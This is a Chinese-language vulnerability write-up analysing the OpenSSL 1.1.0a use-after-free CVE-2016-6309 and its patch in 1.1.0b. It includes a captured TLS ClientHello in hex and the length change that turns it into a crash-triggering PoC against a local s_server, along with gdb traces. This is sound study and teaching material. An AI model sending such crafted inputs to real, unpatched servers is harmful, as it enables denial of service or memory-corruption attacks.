articles
articles copied to clipboard
openssl 1.1.0a UAF(CVE-2016-6309)分析
openssl 1.1.0a UAF(CVE-2016-6309)分析
在研究honggfuzz的过程中,发现有人用它找到了openssl的一个洞(CVE-2016-6309),这是一个UAF的洞,为了了解如何fuzzing的,如果要是我写fuzzer,该怎么写,为了这个目的,所以就分析了一下。
环境
环境准备
# kaili2
apt install gcc gdb python3.7-dev git make electric-fence -y
# pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
编译openssl
wget https://github.com/openssl/openssl/archive/OpenSSL_1_1_0a.tar.gz
tar -xvf OpenSSL_1_1_0a.tar.gz
cd openssl-OpenSSL_1_1_0a
./config --debug
make
将编译的库存放
cp ./libssl.so.1.1 /usr/local/lib
cp ./libcrypto.so.1.1 /usr/local/lib
生成证书
./apps/openssl req -newkey rsa:2048 -nodes -keyout rsa_private.key -x509 -days 365 -out cert.crt
补丁情况
首先为了了解这个洞的大概情况,来看一下openssl做的修补
其实最主要的地方是在BUF_MEM_grow_clean
之后的这句
s->init_msg = s->init_buf->data + msg_offset;
来看看BUF_MEM_grow_clean
函数干了什么,需要更新 s->init_msg
的值
size_t BUF_MEM_grow_clean(BUF_MEM *str, size_t len)
{
char *ret;
size_t n;
if (str->length >= len) {
if (str->data != NULL)
memset(&str->data[len], 0, str->length - len);
str->length = len;
return (len);
}
if (str->max >= len) {
memset(&str->data[str->length], 0, len - str->length);
str->length = len;
return (len);
}
/* This limit is sufficient to ensure (len+3)/3*4 < 2**31 */
if (len > LIMIT_BEFORE_EXPANSION) {
BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);
return 0;
}
n = (len + 3) / 3 * 4;
if ((str->flags & BUF_MEM_FLAG_SECURE))
ret = sec_alloc_realloc(str, n);
else
ret = OPENSSL_clear_realloc(str->data, str->max, n); // 出错
if (ret == NULL) {
BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);
len = 0;
} else {
str->data = ret;
str->max = n;
memset(&str->data[str->length], 0, len - str->length);
str->length = len;
}
return (len);
}
可以看到使用len
分别和str->length/str->max
做了比较,如果都不满足,会realloc
对应的str->data
的数据,无论哪个realloc
都会执行相似的操作
ret = OPENSSL_secure_malloc(len);
if (str->data != NULL) {
if (ret != NULL)
memcpy(ret, str->data, str->length);
OPENSSL_secure_free(str->data);
}
那么将来再用到str->data
的数据时,就会造成UAF
,现在知道了大概的原因,实际利用gdb
进行验证
POC准备
随意点击几个https
的网站,之后利用利用wireshark
监控
tcp.port==443 && ssl.record.version
具体如下,注意具体长度对应的位置,以后做漏洞poc
会用到
ctrl+shift+x
将字节流数据导出,正常数据是这样的
首先利用正常的数据进行测试
监听端口
./apps/openssl s_server -key rsa_private.key -cert cert.crt -accept 443 –www
验证poc
nc localhost 443 < poc.raw
正常的poc.raw
16 03 01 02 00 01 00 01 FC 03 03 36 E4 09 F9 D9
3B 75 FF 3E 34 EC C7 2B 9C 3F 2E 78 B5 58 04 FE
13 DC 98 04 2A C2 95 DA FB 1E 77 20 F7 F6 AC ED
64 60 E8 CC 28 D3 BF B3 74 CA 21 40 B1 58 DB 66
5B A8 04 FC 25 42 C3 5D 7C 10 FD 16 00 22 AA AA
13 01 13 02 13 03 C0 2B C0 2F C0 2C C0 30 CC A9
CC A8 C0 13 C0 14 00 9C 00 9D 00 2F 00 35 00 0A
01 00 01 91 AA AA 00 00 00 00 00 16 00 14 00 00
11 66 6F 6E 74 73 2E 67 73 74 61 74 69 63 2E 63
6F 6D 00 17 00 00 FF 01 00 01 00 00 0A 00 0A 00
08 7A 7A 00 1D 00 17 00 18 00 0B 00 02 01 00 00
23 00 00 00 10 00 0E 00 0C 02 68 32 08 68 74 74
70 2F 31 2E 31 00 05 00 05 01 00 00 00 00 00 0D
00 14 00 12 04 03 08 04 04 01 05 03 08 05 05 01
08 06 06 01 02 01 00 12 00 00 00 33 00 2B 00 29
7A 7A 00 01 00 00 1D 00 20 78 25 48 03 BE DA 1B
55 F8 2E 97 3B 62 4C E5 7C 89 59 D2 13 0A AC 69
02 51 B3 7B 79 48 4B FC 1A 00 2D 00 02 01 01 00
2B 00 0B 0A CA CA 03 04 03 03 03 02 03 01 00 1B
00 03 02 00 02 2A 2A 00 01 00 00 15 00 C7 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00
漏洞分析
动态调试
gdb ./app/openssl
pwndbg> run s_server -key rsa_private.key -cert cert.crt -accept 443
在statem.c:546
设下断点,成功断下
来查看一下s
相关的值
pwndbg> p/x s->init_buf->length
$11 = 0x4000
pwndbg> p/x s->init_buf->max
$12 = 0x5558
pwndbg> p/x s->s3->tmp.message_size
$13 = 0x1fc
pwndbg> p s->s3->tmp.message_size
$14 = 508
经过多次调试,发现在这里s->init_buf->max
和s->init_buf->length
都是固定的,而s->s3->tmp.message_size
是我们可控的
根据前面对BUF_MEM_grow_clean
的分析,我们只要保证s->s3->tmp.message_size
大于最大值,即s->init_buf->max < s->s3->tmp.message_size
就会成功进行realloc
,而在我们的测试中,s->init_buf->max==0x5558
,所以作如下更改设置为0x5560
执行并查看
跟进BUF_MEM_grow_clean
可以发现成功执行到达realloc
,为了观察将来是否利用了str->data
以前的数据,释放前看一下str->data
的情况
继续执行,崩溃
可以发现这里的内存是str->data
中释放的,成功导致了UAF
其中通过多次调试可以发现其实其数据来源于s->init_msg
,而s->init_msg
中的数据又来源于s->init_buf->data
s->init_msg = s->init_buf->data + n
对比调试
利用OpenSSL_1_1_0b
对比一下
wget https://github.com/openssl/openssl/archive/OpenSSL_1_1_0b.tar.gz
tar -xvf OpenSSL_1_1_0b.tar.gz
cd openssl-OpenSSL_1_1_0b
./config --debug
make
下个断点
继续执行,会发现没有任何的问题,因为在grow_init_buf
函数中及时更新了s->init_msg
的值
static int grow_init_buf(SSL *s, size_t size) {
size_t msg_offset = (char *)s->init_msg - s->init_buf->data;
if (!BUF_MEM_grow_clean(s->init_buf, (int)size))
return 0;
if (size < msg_offset)
return 0;
s->init_msg = s->init_buf->data + msg_offset;
return 1;
}
至此CVE-2016-6309
具体形成UAF
的原因也就分析清楚了